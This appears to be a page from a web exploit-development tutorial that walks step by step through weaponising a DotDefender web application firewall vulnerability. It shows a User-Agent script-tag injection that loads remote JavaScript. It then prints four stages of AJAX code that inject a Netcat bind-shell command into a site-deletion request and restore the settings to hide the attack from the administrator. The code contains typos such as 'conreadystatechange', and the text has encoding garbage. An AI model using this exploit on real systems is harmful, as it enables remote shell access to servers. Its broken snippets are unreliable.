Analyzing the Exploit a11y.text Analyzing the Exploit Analyzing the DotDefenderÂ Exploit a11y.text Analyzing the DotDefenderÂ Exploit Looking at the exploit closer, we see what needs to be done to turn the DotDefender PoC into a full exploit. For this attack to work, you must first trigger DotDefender to log your activity and then have the DotDefender administrator look at the log you created. This can be done with anything that DotDefender blocks, such as Cross-Site Scripting or SQL Injection, then you modify your User-Agent field to include your script such as: script language="JavaScript" src="http://MySite.com/DotDefender.js"> This means we have two different things that have to happen in this exploit. The first is to trigger a log entry in DotDefender with a malicious User-Agent value. The second is to host the JavaScript file that will allow for command execution on the server. JavaScript Specifics a11y.text JavaScript Specifics Stage 1 a11y.text Stage 1 This is the first stage of the attack. What this stage does is create an AJAX POST request to the index.cgi page with the parameters to delete a server from the list. Since we are executing this script using AJAX, we can send the proper POST parameters to the index page. This example opens a Netcat listener on port 4444. The only thing that must be changed is the â€˜site.comâ€™ name to correspond to the site that is being protected by DotDefender. We can see from the highlightedÂ exploit code belowÂ that in the first section, we need to change the Netcat listener and â€˜site.comâ€™ to the appropriate site name.

```
var http = new XMLHttpRequest();
var url = "../index.cgi";
var params = "sitename=site.com&deletesitename=site.com;nc -lvp 4444 -e
/bin/bash;&action=deletesite&linenum=14";
http.open("POST",url,true);
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.setRequestHeader("Content-lenth", params.length);
http.setRequestHeader("Connection","close");

http.conreadystatechange = function() {
```

```
    if(http.readyState == 4 && http.status == 200) {
        alert(http.responseText);
        }
}
```

http.send(params); Stage 2 a11y.text Stage 2 This is the second stage of the attack. DotDefender requires the administrator to â€œRefresh the Settingsâ€• of the Web Application Firewall after a site has been deleted. From the comments, we can see that after the exploit is finished, the PoC will continue to attempt to not arise suspicion of the DotDefender Administrator by covering its tracks.

```
var http2 = new XMLHttpRequest();
var params2 = "action=reload&cursite=&servgroups=&submit=Refresh_Settings";
http2.open("POST",url,true);
http2.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http2.setRequestHeader("Content-lenth", params2.length);
http2.setRequestHeader("Connection","close");

http2.conreadystatechange = function() {
    if(http2.readyState == 4 && http2.status == 200) {
        alert(http2.responseText);
        }
}
```

http2.send(params2); Stage 3 a11y.text Stage 3 This is the third stage of the attack. Since the code-execution vulnerability required the site to be deleted from DotDefender, the site must now be added back into the list. We can see in the following code, we must change the â€˜site.comâ€™ parameter again to the appropriate site name.

```
var http3 = new XMLHttpRequest();
var params3 = "newsitename=site.com&action=newsite";
http3.open("POST",url,true);
```

```
http3.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http3.setRequestHeader("Content-lenth", params3.length);
http3.setRequestHeader("Connection","close");

http3.conreadystatechange = function() {
    if(http3.readyState == 4 && http3.status == 200) {
        alert(http3.responseText);
        }
}
```

http3.send(params3); Stage 4 a11y.text Stage 4 This is the fourth and final stage of the attack. The site has beed added back into the list but once again, the administrator needs to â€œRefresh the Settingsâ€•. This is the final stage of ourÂ exploit and is a copy of Stage 2. This also does not need any modification.

```
var http4 = new XMLHttpRequest();
var params4 = "action=reload&cursite=&servgroups=&submit=Refresh_Settings";
http4.open("POST",url,true);
http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http4.setRequestHeader("Content-lenth", params4.length);
http4.setRequestHeader("Connection","close");

http4.conreadystatechange = function() {
    if(http4.readyState == 4 && http4.status == 200) {
        alert(http4.responseText);
        }
}
```

http4.send(params4); Next Skeleton Creation Prev Installing Dot Defender